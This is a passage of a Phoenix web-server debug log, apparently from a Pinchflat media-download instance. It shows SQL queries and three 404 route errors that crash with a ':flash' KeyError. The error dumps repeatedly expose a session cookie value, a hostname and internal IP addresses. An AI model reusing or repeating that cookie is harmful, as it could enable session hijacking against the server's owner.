s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.394 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 22:17:23.394 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 22:17:23.396 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.396 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [6] 22:17:23.397 [debug] QUERY OK source="media_items" db=0.4ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 22:17:23.398 [info] Sent 200 in 14ms 22:17:23.425 [info] GET /sources/6/force_metadata_refresh 22:17:23.425 [info] GET /sources/6/force_index 22:17:23.425 [info] GET /sources/6/sync_files_on_disk 22:17:23.425 [debug] QUERY OK source="settings" db=0.3ms idle=31.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.425 [debug] QUERY OK source="settings" db=0.4ms idle=30.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.426 [debug] QUERY OK source="settings" db=0.2ms idle=28.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.426 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:23.426 [debug] QUERY OK source="settings" db=0.4ms idle=29.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.426 [debug] QUERY OK source="settings" db=0.4ms idle=29.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.426 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:23.427 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.427 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:23.426 [error] #PID<0.37171.0> running PinchflatWeb.Endpoint (connection #PID<0.37083.0>, stream id 22) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/6/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37171.0>, params: %{}, path_info: ["sources", "6", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/6/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvjg26gwIxPcAAX2h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, (truncated) 22:17:23.426 [error] #PID<0.37170.0> running PinchflatWeb.Endpoint (connection #PID<0.37088.0>, stream id 23) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/6/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37170.0>, params: %{}, path_info: ["sources", "6", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/6/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvjg26gzqXd4AAW_k"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZz (truncated) 22:17:23.427 [error] #PID<0.37172.0> running PinchflatWeb.Endpoint (connection #PID<0.37091.0>, stream id 5) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/6/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37091.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44504}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37172.0>, params: %{}, path_info: ["sources", "6", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/6/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvjhD5CeAlhsAAXAE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37091.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44504}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37091.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44504}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", 